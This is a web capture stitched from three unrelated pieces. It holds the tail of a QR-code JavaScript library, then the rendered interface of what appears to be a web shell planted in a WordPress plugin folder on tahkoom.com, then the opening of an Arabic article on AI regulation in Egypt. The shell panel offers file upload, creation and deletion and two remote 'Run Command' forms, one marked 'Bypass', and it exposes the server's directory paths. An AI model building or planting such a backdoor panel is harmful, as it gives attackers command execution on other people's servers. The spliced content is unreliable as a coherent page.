      while (n &lt; 0) {
        n += 255;
      }

      while (n &gt;= 256) {
        n -= 255;
      }

      return EXP_TABLE[n];
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrPolynomial
  //---------------------------------------------------------------------

  function qrPolynomial(num, shift) {

    if (typeof num.length == 'undefined') {
      throw num.length + '/' + shift;
    }

    var _num = function() {
      var offset = 0;
      while (offset &lt; num.length &amp;&amp; num[offset] == 0) {
        offset += 1;
      }
      var _num = new Array(num.length - offset + shift);
      for (var i = 0; i &lt; num.length - offset; i += 1) {
        _num[i] = num[i + offset];
      }
      return _num;
    }();

    var _this = {};

    _this.getAt = function(index) {
      return _num[index];
    };

    _this.getLength = function() {
      return _num.length;
    };

    _this.multiply = function(e) {

      var num = new Array(_this.getLength() + e.getLength() - 1);

      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        for (var j = 0; j &lt; e.getLength(); j += 1) {
          num[i + j] ^= QRMath.gexp(QRMath.glog(_this.getAt(i) ) + QRMath.glog(e.getAt(j) ) );
        }
      }

      return qrPolynomial(num, 0);
    };

    _this.mod = function(e) {

      if (_this.getLength() - e.getLength() &lt; 0) {
        return _this;
      }

      var ratio = QRMath.glog(_this.getAt(0) ) - QRMath.glog(e.getAt(0) );

      var num = new Array(_this.getLength() );
      for (var i = 0; i &lt; _this.getLength(); i += 1) {
        num[i] = _this.getAt(i);
      }

      for (var i = 0; i &lt; e.getLength(); i += 1) {
        num[i] ^= QRMath.gexp(QRMath.glog(e.getAt(i) ) + ratio);
      }

      // recursive call
      return qrPolynomial(num, 0).mod(e);
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // QRRSBlock
  //---------------------------------------------------------------------

  var QRRSBlock = function() {

    var RS_BLOCK_TABLE = [

      // L
      // M
      // Q
      // H

      // 1
      [1, 26, 19],
      [1, 26, 16],
      [1, 26, 13],
      [1, 26, 9],

      // 2
      [1, 44, 34],
      [1, 44, 28],
      [1, 44, 22],
      [1, 44, 16],

      // 3
      [1, 70, 55],
      [1, 70, 44],
      [2, 35, 17],
      [2, 35, 13],

      // 4
      [1, 100, 80],
      [2, 50, 32],
      [2, 50, 24],
      [4, 25, 9],

      // 5
      [1, 134, 108],
      [2, 67, 43],
      [2, 33, 15, 2, 34, 16],
      [2, 33, 11, 2, 34, 12],

      // 6
      [2, 86, 68],
      [4, 43, 27],
      [4, 43, 19],
      [4, 43, 15],

      // 7
      [2, 98, 78],
      [4, 49, 31],
      [2, 32, 14, 4, 33, 15],
      [4, 39, 13, 1, 40, 14],

      // 8
      [2, 121, 97],
      [2, 60, 38, 2, 61, 39],
      [4, 40, 18, 2, 41, 19],
      [4, 40, 14, 2, 41, 15],

      // 9
      [2, 146, 116],
      [3, 58, 36, 2, 59, 37],
      [4, 36, 16, 4, 37, 17],
      [4, 36, 12, 4, 37, 13],

      // 10
      [2, 86, 68, 2, 87, 69],
      [4, 69, 43, 1, 70, 44],
      [6, 43, 19, 2, 44, 20],
      [6, 43, 15, 2, 44, 16],

      // 11
      [4, 101, 81],
      [1, 80, 50, 4, 81, 51],
      [4, 50, 22, 4, 51, 23],
      [3, 36, 12, 8, 37, 13],

      // 12
      [2, 116, 92, 2, 117, 93],
      [6, 58, 36, 2, 59, 37],
      [4, 46, 20, 6, 47, 21],
      [7, 42, 14, 4, 43, 15],

      // 13
      [4, 133, 107],
      [8, 59, 37, 1, 60, 38],
      [8, 44, 20, 4, 45, 21],
      [12, 33, 11, 4, 34, 12],

      // 14
      [3, 145, 115, 1, 146, 116],
      [4, 64, 40, 5, 65, 41],
      [11, 36, 16, 5, 37, 17],
      [11, 36, 12, 5, 37, 13],

      // 15
      [5, 109, 87, 1, 110, 88],
      [5, 65, 41, 5, 66, 42],
      [5, 54, 24, 7, 55, 25],
      [11, 36, 12, 7, 37, 13],

      // 16
      [5, 122, 98, 1, 123, 99],
      [7, 73, 45, 3, 74, 46],
      [15, 43, 19, 2, 44, 20],
      [3, 45, 15, 13, 46, 16],

      // 17
      [1, 135, 107, 5, 136, 108],
      [10, 74, 46, 1, 75, 47],
      [1, 50, 22, 15, 51, 23],
      [2, 42, 14, 17, 43, 15],

      // 18
      [5, 150, 120, 1, 151, 121],
      [9, 69, 43, 4, 70, 44],
      [17, 50, 22, 1, 51, 23],
      [2, 42, 14, 19, 43, 15],

      // 19
      [3, 141, 113, 4, 142, 114],
      [3, 70, 44, 11, 71, 45],
      [17, 47, 21, 4, 48, 22],
      [9, 39, 13, 16, 40, 14],

      // 20
      [3, 135, 107, 5, 136, 108],
      [3, 67, 41, 13, 68, 42],
      [15, 54, 24, 5, 55, 25],
      [15, 43, 15, 10, 44, 16],

      // 21
      [4, 144, 116, 4, 145, 117],
      [17, 68, 42],
      [17, 50, 22, 6, 51, 23],
      [19, 46, 16, 6, 47, 17],

      // 22
      [2, 139, 111, 7, 140, 112],
      [17, 74, 46],
      [7, 54, 24, 16, 55, 25],
      [34, 37, 13],

      // 23
      [4, 151, 121, 5, 152, 122],
      [4, 75, 47, 14, 76, 48],
      [11, 54, 24, 14, 55, 25],
      [16, 45, 15, 14, 46, 16],

      // 24
      [6, 147, 117, 4, 148, 118],
      [6, 73, 45, 14, 74, 46],
      [11, 54, 24, 16, 55, 25],
      [30, 46, 16, 2, 47, 17],

      // 25
      [8, 132, 106, 4, 133, 107],
      [8, 75, 47, 13, 76, 48],
      [7, 54, 24, 22, 55, 25],
      [22, 45, 15, 13, 46, 16],

      // 26
      [10, 142, 114, 2, 143, 115],
      [19, 74, 46, 4, 75, 47],
      [28, 50, 22, 6, 51, 23],
      [33, 46, 16, 4, 47, 17],

      // 27
      [8, 152, 122, 4, 153, 123],
      [22, 73, 45, 3, 74, 46],
      [8, 53, 23, 26, 54, 24],
      [12, 45, 15, 28, 46, 16],

      // 28
      [3, 147, 117, 10, 148, 118],
      [3, 73, 45, 23, 74, 46],
      [4, 54, 24, 31, 55, 25],
      [11, 45, 15, 31, 46, 16],

      // 29
      [7, 146, 116, 7, 147, 117],
      [21, 73, 45, 7, 74, 46],
      [1, 53, 23, 37, 54, 24],
      [19, 45, 15, 26, 46, 16],

      // 30
      [5, 145, 115, 10, 146, 116],
      [19, 75, 47, 10, 76, 48],
      [15, 54, 24, 25, 55, 25],
      [23, 45, 15, 25, 46, 16],

      // 31
      [13, 145, 115, 3, 146, 116],
      [2, 74, 46, 29, 75, 47],
      [42, 54, 24, 1, 55, 25],
      [23, 45, 15, 28, 46, 16],

      // 32
      [17, 145, 115],
      [10, 74, 46, 23, 75, 47],
      [10, 54, 24, 35, 55, 25],
      [19, 45, 15, 35, 46, 16],

      // 33
      [17, 145, 115, 1, 146, 116],
      [14, 74, 46, 21, 75, 47],
      [29, 54, 24, 19, 55, 25],
      [11, 45, 15, 46, 46, 16],

      // 34
      [13, 145, 115, 6, 146, 116],
      [14, 74, 46, 23, 75, 47],
      [44, 54, 24, 7, 55, 25],
      [59, 46, 16, 1, 47, 17],

      // 35
      [12, 151, 121, 7, 152, 122],
      [12, 75, 47, 26, 76, 48],
      [39, 54, 24, 14, 55, 25],
      [22, 45, 15, 41, 46, 16],

      // 36
      [6, 151, 121, 14, 152, 122],
      [6, 75, 47, 34, 76, 48],
      [46, 54, 24, 10, 55, 25],
      [2, 45, 15, 64, 46, 16],

      // 37
      [17, 152, 122, 4, 153, 123],
      [29, 74, 46, 14, 75, 47],
      [49, 54, 24, 10, 55, 25],
      [24, 45, 15, 46, 46, 16],

      // 38
      [4, 152, 122, 18, 153, 123],
      [13, 74, 46, 32, 75, 47],
      [48, 54, 24, 14, 55, 25],
      [42, 45, 15, 32, 46, 16],

      // 39
      [20, 147, 117, 4, 148, 118],
      [40, 75, 47, 7, 76, 48],
      [43, 54, 24, 22, 55, 25],
      [10, 45, 15, 67, 46, 16],

      // 40
      [19, 148, 118, 6, 149, 119],
      [18, 75, 47, 31, 76, 48],
      [34, 54, 24, 34, 55, 25],
      [20, 45, 15, 61, 46, 16]
    ];

    var qrRSBlock = function(totalCount, dataCount) {
      var _this = {};
      _this.totalCount = totalCount;
      _this.dataCount = dataCount;
      return _this;
    };

    var _this = {};

    var getRsBlockTable = function(typeNumber, errorCorrectionLevel) {

      switch(errorCorrectionLevel) {
      case QRErrorCorrectionLevel.L :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 0];
      case QRErrorCorrectionLevel.M :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 1];
      case QRErrorCorrectionLevel.Q :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 2];
      case QRErrorCorrectionLevel.H :
        return RS_BLOCK_TABLE[(typeNumber - 1) * 4 + 3];
      default :
        return undefined;
      }
    };

    _this.getRSBlocks = function(typeNumber, errorCorrectionLevel) {

      var rsBlock = getRsBlockTable(typeNumber, errorCorrectionLevel);

      if (typeof rsBlock == 'undefined') {
        throw 'bad rs block @ typeNumber:' + typeNumber +
            '/errorCorrectionLevel:' + errorCorrectionLevel;
      }

      var length = rsBlock.length / 3;

      var list = [];

      for (var i = 0; i &lt; length; i += 1) {

        var count = rsBlock[i * 3 + 0];
        var totalCount = rsBlock[i * 3 + 1];
        var dataCount = rsBlock[i * 3 + 2];

        for (var j = 0; j &lt; count; j += 1) {
          list.push(qrRSBlock(totalCount, dataCount) );
        }
      }

      return list;
    };

    return _this;
  }();

  //---------------------------------------------------------------------
  // qrBitBuffer
  //---------------------------------------------------------------------

  var qrBitBuffer = function() {

    var _buffer = [];
    var _length = 0;

    var _this = {};

    _this.getBuffer = function() {
      return _buffer;
    };

    _this.getAt = function(index) {
      var bufIndex = Math.floor(index / 8);
      return ( (_buffer[bufIndex] &gt;&gt;&gt; (7 - index % 8) ) &amp; 1) == 1;
    };

    _this.put = function(num, length) {
      for (var i = 0; i &lt; length; i += 1) {
        _this.putBit( ( (num &gt;&gt;&gt; (length - i - 1) ) &amp; 1) == 1);
      }
    };

    _this.getLengthInBits = function() {
      return _length;
    };

    _this.putBit = function(bit) {

      var bufIndex = Math.floor(_length / 8);
      if (_buffer.length &lt;= bufIndex) {
        _buffer.push(0);
      }

      if (bit) {
        _buffer[bufIndex] |= (0x80 &gt;&gt;&gt; (_length % 8) );
      }

      _length += 1;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrNumber
  //---------------------------------------------------------------------

  var qrNumber = function(data) {

    var _mode = QRMode.MODE_NUMBER;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var data = _data;

      var i = 0;

      while (i + 2 &lt; data.length) {
        buffer.put(strToNum(data.substring(i, i + 3) ), 10);
        i += 3;
      }

      if (i &lt; data.length) {
        if (data.length - i == 1) {
          buffer.put(strToNum(data.substring(i, i + 1) ), 4);
        } else if (data.length - i == 2) {
          buffer.put(strToNum(data.substring(i, i + 2) ), 7);
        }
      }
    };

    var strToNum = function(s) {
      var num = 0;
      for (var i = 0; i &lt; s.length; i += 1) {
        num = num * 10 + chatToNum(s.charAt(i) );
      }
      return num;
    };

    var chatToNum = function(c) {
      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      }
      throw 'illegal char :' + c;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrAlphaNum
  //---------------------------------------------------------------------

  var qrAlphaNum = function(data) {

    var _mode = QRMode.MODE_ALPHA_NUM;
    var _data = data;

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _data.length;
    };

    _this.write = function(buffer) {

      var s = _data;

      var i = 0;

      while (i + 1 &lt; s.length) {
        buffer.put(
          getCode(s.charAt(i) ) * 45 +
          getCode(s.charAt(i + 1) ), 11);
        i += 2;
      }

      if (i &lt; s.length) {
        buffer.put(getCode(s.charAt(i) ), 6);
      }
    };

    var getCode = function(c) {

      if ('0' &lt;= c &amp;&amp; c &lt;= '9') {
        return c.charCodeAt(0) - '0'.charCodeAt(0);
      } else if ('A' &lt;= c &amp;&amp; c &lt;= 'Z') {
        return c.charCodeAt(0) - 'A'.charCodeAt(0) + 10;
      } else {
        switch (c) {
        case ' ' : return 36;
        case '$' : return 37;
        case '%' : return 38;
        case '*' : return 39;
        case '+' : return 40;
        case '-' : return 41;
        case '.' : return 42;
        case '/' : return 43;
        case ':' : return 44;
        default :
          throw 'illegal char :' + c;
        }
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qr8BitByte
  //---------------------------------------------------------------------

  var qr8BitByte = function(data) {

    var _mode = QRMode.MODE_8BIT_BYTE;
    var _data = data;
    var _bytes = qrcode.stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return _bytes.length;
    };

    _this.write = function(buffer) {
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        buffer.put(_bytes[i], 8);
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // qrKanji
  //---------------------------------------------------------------------

  var qrKanji = function(data) {

    var _mode = QRMode.MODE_KANJI;
    var _data = data;

    var stringToBytes = qrcode.stringToBytesFuncs['SJIS'];
    if (!stringToBytes) {
      throw 'sjis not supported.';
    }
    !function(c, code) {
      // self test for sjis support.
      var test = stringToBytes(c);
      if (test.length != 2 || ( (test[0] &lt;&lt; 8) | test[1]) != code) {
        throw 'sjis not supported.';
      }
    }('\u53cb', 0x9746);

    var _bytes = stringToBytes(data);

    var _this = {};

    _this.getMode = function() {
      return _mode;
    };

    _this.getLength = function(buffer) {
      return ~~(_bytes.length / 2);
    };

    _this.write = function(buffer) {

      var data = _bytes;

      var i = 0;

      while (i + 1 &lt; data.length) {

        var c = ( (0xff &amp; data[i]) &lt;&lt; 8) | (0xff &amp; data[i + 1]);

        if (0x8140 &lt;= c &amp;&amp; c &lt;= 0x9FFC) {
          c -= 0x8140;
        } else if (0xE040 &lt;= c &amp;&amp; c &lt;= 0xEBBF) {
          c -= 0xC140;
        } else {
          throw 'illegal char at ' + (i + 1) + '/' + c;
        }

        c = ( (c &gt;&gt;&gt; 8) &amp; 0xff) * 0xC0 + (c &amp; 0xff);

        buffer.put(c, 13);

        i += 2;
      }

      if (i &lt; data.length) {
        throw 'illegal char at ' + (i + 1);
      }
    };

    return _this;
  };

  //=====================================================================
  // GIF Support etc.
  //

  //---------------------------------------------------------------------
  // byteArrayOutputStream
  //---------------------------------------------------------------------

  var byteArrayOutputStream = function() {

    var _bytes = [];

    var _this = {};

    _this.writeByte = function(b) {
      _bytes.push(b &amp; 0xff);
    };

    _this.writeShort = function(i) {
      _this.writeByte(i);
      _this.writeByte(i &gt;&gt;&gt; 8);
    };

    _this.writeBytes = function(b, off, len) {
      off = off || 0;
      len = len || b.length;
      for (var i = 0; i &lt; len; i += 1) {
        _this.writeByte(b[i + off]);
      }
    };

    _this.writeString = function(s) {
      for (var i = 0; i &lt; s.length; i += 1) {
        _this.writeByte(s.charCodeAt(i) );
      }
    };

    _this.toByteArray = function() {
      return _bytes;
    };

    _this.toString = function() {
      var s = '';
      s += '[';
      for (var i = 0; i &lt; _bytes.length; i += 1) {
        if (i &gt; 0) {
          s += ',';
        }
        s += _bytes[i];
      }
      s += ']';
      return s;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64EncodeOutputStream
  //---------------------------------------------------------------------

  var base64EncodeOutputStream = function() {

    var _buffer = 0;
    var _buflen = 0;
    var _length = 0;
    var _base64 = '';

    var _this = {};

    var writeEncoded = function(b) {
      _base64 += String.fromCharCode(encode(b &amp; 0x3f) );
    };

    var encode = function(n) {
      if (n &lt; 0) {
        // error.
      } else if (n &lt; 26) {
        return 0x41 + n;
      } else if (n &lt; 52) {
        return 0x61 + (n - 26);
      } else if (n &lt; 62) {
        return 0x30 + (n - 52);
      } else if (n == 62) {
        return 0x2b;
      } else if (n == 63) {
        return 0x2f;
      }
      throw 'n:' + n;
    };

    _this.writeByte = function(n) {

      _buffer = (_buffer &lt;&lt; 8) | (n &amp; 0xff);
      _buflen += 8;
      _length += 1;

      while (_buflen &gt;= 6) {
        writeEncoded(_buffer &gt;&gt;&gt; (_buflen - 6) );
        _buflen -= 6;
      }
    };

    _this.flush = function() {

      if (_buflen &gt; 0) {
        writeEncoded(_buffer &lt;&lt; (6 - _buflen) );
        _buffer = 0;
        _buflen = 0;
      }

      if (_length % 3 != 0) {
        // padding
        var padlen = 3 - _length % 3;
        for (var i = 0; i &lt; padlen; i += 1) {
          _base64 += '=';
        }
      }
    };

    _this.toString = function() {
      return _base64;
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // base64DecodeInputStream
  //---------------------------------------------------------------------

  var base64DecodeInputStream = function(str) {

    var _str = str;
    var _pos = 0;
    var _buffer = 0;
    var _buflen = 0;

    var _this = {};

    _this.read = function() {

      while (_buflen &lt; 8) {

        if (_pos &gt;= _str.length) {
          if (_buflen == 0) {
            return -1;
          }
          throw 'unexpected end of file./' + _buflen;
        }

        var c = _str.charAt(_pos);
        _pos += 1;

        if (c == '=') {
          _buflen = 0;
          return -1;
        } else if (c.match(/^\s$/) ) {
          // ignore if whitespace.
          continue;
        }

        _buffer = (_buffer &lt;&lt; 6) | decode(c.charCodeAt(0) );
        _buflen += 6;
      }

      var n = (_buffer &gt;&gt;&gt; (_buflen - 8) ) &amp; 0xff;
      _buflen -= 8;
      return n;
    };

    var decode = function(c) {
      if (0x41 &lt;= c &amp;&amp; c &lt;= 0x5a) {
        return c - 0x41;
      } else if (0x61 &lt;= c &amp;&amp; c &lt;= 0x7a) {
        return c - 0x61 + 26;
      } else if (0x30 &lt;= c &amp;&amp; c &lt;= 0x39) {
        return c - 0x30 + 52;
      } else if (c == 0x2b) {
        return 62;
      } else if (c == 0x2f) {
        return 63;
      } else {
        throw 'c:' + c;
      }
    };

    return _this;
  };

  //---------------------------------------------------------------------
  // gifImage (B/W)
  //---------------------------------------------------------------------

  var gifImage = function(width, height) {

    var _width = width;
    var _height = height;
    var _data = new Array(width * height);

    var _this = {};

    _this.setPixel = function(x, y, pixel) {
      _data[y * _width + x] = pixel;
    };

    _this.write = function(out) {

      //---------------------------------
      // GIF Signature

      out.writeString('GIF87a');

      //---------------------------------
      // Screen Descriptor

      out.writeShort(_width);
      out.writeShort(_height);

      out.writeByte(0x80); // 2bit
      out.writeByte(0);
      out.writeByte(0);

      //---------------------------------
      // Global Color Map

      // black
      out.writeByte(0x00);
      out.writeByte(0x00);
      out.writeByte(0x00);

      // white
      out.writeByte(0xff);
      out.writeByte(0xff);
      out.writeByte(0xff);

      //---------------------------------
      // Image Descriptor

      out.writeString(',');
      out.writeShort(0);
      out.writeShort(0);
      out.writeShort(_width);
      out.writeShort(_height);
      out.writeByte(0);

      //---------------------------------
      // Local Color Map

      //---------------------------------
      // Raster Data

      var lzwMinCodeSize = 2;
      var raster = getLZWRaster(lzwMinCodeSize);

      out.writeByte(lzwMinCodeSize);

      var offset = 0;

      while (raster.length - offset &gt; 255) {
        out.writeByte(255);
        out.writeBytes(raster, offset, 255);
        offset += 255;
      }

      out.writeByte(raster.length - offset);
      out.writeBytes(raster, offset, raster.length - offset);
      out.writeByte(0x00);

      //---------------------------------
      // GIF Terminator
      out.writeString(';');
    };

    var bitOutputStream = function(out) {

      var _out = out;
      var _bitLength = 0;
      var _bitBuffer = 0;

      var _this = {};

      _this.write = function(data, length) {

        if ( (data &gt;&gt;&gt; length) != 0) {
          throw 'length over';
        }

        while (_bitLength + length &gt;= 8) {
          _out.writeByte(0xff &amp; ( (data &lt;&lt; _bitLength) | _bitBuffer) );
          length -= (8 - _bitLength);
          data &gt;&gt;&gt;= (8 - _bitLength);
          _bitBuffer = 0;
          _bitLength = 0;
        }

        _bitBuffer = (data &lt;&lt; _bitLength) | _bitBuffer;
        _bitLength = _bitLength + length;
      };

      _this.flush = function() {
        if (_bitLength &gt; 0) {
          _out.writeByte(_bitBuffer);
        }
      };

      return _this;
    };

    var getLZWRaster = function(lzwMinCodeSize) {

      var clearCode = 1 &lt;&lt; lzwMinCodeSize;
      var endCode = (1 &lt;&lt; lzwMinCodeSize) + 1;
      var bitLength = lzwMinCodeSize + 1;

      // Setup LZWTable
      var table = lzwTable();

      for (var i = 0; i &lt; clearCode; i += 1) {
        table.add(String.fromCharCode(i) );
      }
      table.add(String.fromCharCode(clearCode) );
      table.add(String.fromCharCode(endCode) );

      var byteOut = byteArrayOutputStream();
      var bitOut = bitOutputStream(byteOut);

      // clear code
      bitOut.write(clearCode, bitLength);

      var dataIndex = 0;

      var s = String.fromCharCode(_data[dataIndex]);
      dataIndex += 1;

      while (dataIndex &lt; _data.length) {

        var c = String.fromCharCode(_data[dataIndex]);
        dataIndex += 1;

        if (table.contains(s + c) ) {

          s = s + c;

        } else {

          bitOut.write(table.indexOf(s), bitLength);

          if (table.size() &lt; 0xfff) {

            if (table.size() == (1 &lt;&lt; bitLength) ) {
              bitLength += 1;
            }

            table.add(s + c);
          }

          s = c;
        }
      }

      bitOut.write(table.indexOf(s), bitLength);

      // end code
      bitOut.write(endCode, bitLength);

      bitOut.flush();

      return byteOut.toByteArray();
    };

    var lzwTable = function() {

      var _map = {};
      var _size = 0;

      var _this = {};

      _this.add = function(key) {
        if (_this.contains(key) ) {
          throw 'dup key:' + key;
        }
        _map[key] = _size;
        _size += 1;
      };

      _this.size = function() {
        return _size;
      };

      _this.indexOf = function(key) {
        return _map[key];
      };

      _this.contains = function(key) {
        return typeof _map[key] != 'undefined';
      };

      return _this;
    };

    return _this;
  };

  var createDataURL = function(width, height, getPixel) {
    var gif = gifImage(width, height);
    for (var y = 0; y &lt; height; y += 1) {
      for (var x = 0; x &lt; width; x += 1) {
        gif.setPixel(x, y, getPixel(x, y) );
      }
    }

    var b = byteArrayOutputStream();
    gif.write(b);

    var base64 = base64EncodeOutputStream();
    var bytes = b.toByteArray();
    for (var i = 0; i &lt; bytes.length; i += 1) {
      base64.writeByte(bytes[i]);
    }
    base64.flush();

    return 'data:image/gif;base64,' + base64;
  };

  //---------------------------------------------------------------------
  // returns qrcode function.

  return qrcode;
}();

// multibyte support
!function() {

  qrcode.stringToBytesFuncs['UTF-8'] = function(s) {
    // http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array
    function toUTF8Array(str) {
      var utf8 = [];
      for (var i=0; i &lt; str.length; i++) {
        var charcode = str.charCodeAt(i);
        if (charcode &lt; 0x80) utf8.push(charcode);
        else if (charcode &lt; 0x800) {
          utf8.push(0xc0 | (charcode &gt;&gt; 6),
              0x80 | (charcode &amp; 0x3f));
        }
        else if (charcode &lt; 0xd800 || charcode &gt;= 0xe000) {
          utf8.push(0xe0 | (charcode &gt;&gt; 12),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
        // surrogate pair
        else {
          i++;
          // UTF-16 encodes 0x10000-0x10FFFF by
          // subtracting 0x10000 and splitting the
          // 20 bits of 0x0-0xFFFFF into two halves
          charcode = 0x10000 + (((charcode &amp; 0x3ff)&lt;&lt;10)
            | (str.charCodeAt(i) &amp; 0x3ff));
          utf8.push(0xf0 | (charcode &gt;&gt;18),
              0x80 | ((charcode&gt;&gt;12) &amp; 0x3f),
              0x80 | ((charcode&gt;&gt;6) &amp; 0x3f),
              0x80 | (charcode &amp; 0x3f));
        }
      }
      return utf8;
    }
    return toUTF8Array(s);
  };

}();

(function (factory) {
  if (typeof define === 'function' &amp;&amp; define.amd) {
      define([], factory);
  } else if (typeof exports === 'object') {
      module.exports = factory();
  }
}(function () {
    return qrcode;
}));
</pre><!DOCTYPE html>
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  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
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    a {
      color: #8ab4f8;
      text-decoration: none;
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    a:hover {
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    .panel {
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      width: 100%;
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    button {
      cursor: pointer;
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    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
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    width: 100%;
    }
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      margin: 12px 0;
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      background: #000;
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      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content">wp-content</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins">plugins</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl">really-simple-ssl</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets">assets</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs">js</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.js"> qrcode.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-content%2Fplugins%2Freally-simple-ssl%2Fassets%2Fjs%2Fqrcode.min.js"> qrcode.min.js</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-content/plugins/really-simple-ssl/assets/js/qrcode.min.js">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
      </ul>
<script>
document.addEventListener('DOMContentLoaded', () => {
  document.querySelectorAll('.result-box').forEach(t => {
    t.style.height = 'auto';
    t.style.height = t.scrollHeight + 'px';
  });
});
</script>
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</html><!DOCTYPE html>
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	<meta charset="UTF-8" />
	<link rel="profile" href="https://gmpg.org/xfn/11" />
	<title>الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟ &#8211; tahkoom.com</title>
<meta name='robots' content='max-image-preview:large' />
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d8%aa%d9%81%d8%a7%d8%b9%d9%84/">تفاعل</a><em class="delimiter">/</em><span class="current">الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u062a\u0641\u0627\u0639\u0644","@id":"https:\/\/tahkoom.com\/category\/%d8%aa%d9%81%d8%a7%d8%b9%d9%84\/"}}]}</script>
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		<h1 class="post-title entry-title">
			الذكاء الاصطناعي في مصر تطور بلا تشريع  فمن يتحمل المسؤولية؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 10, 2025</span><div class="tie-alignright"><span class="meta-views meta-item hot"><span class="tie-icon-fire" aria-hidden="true"></span> 3٬399 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
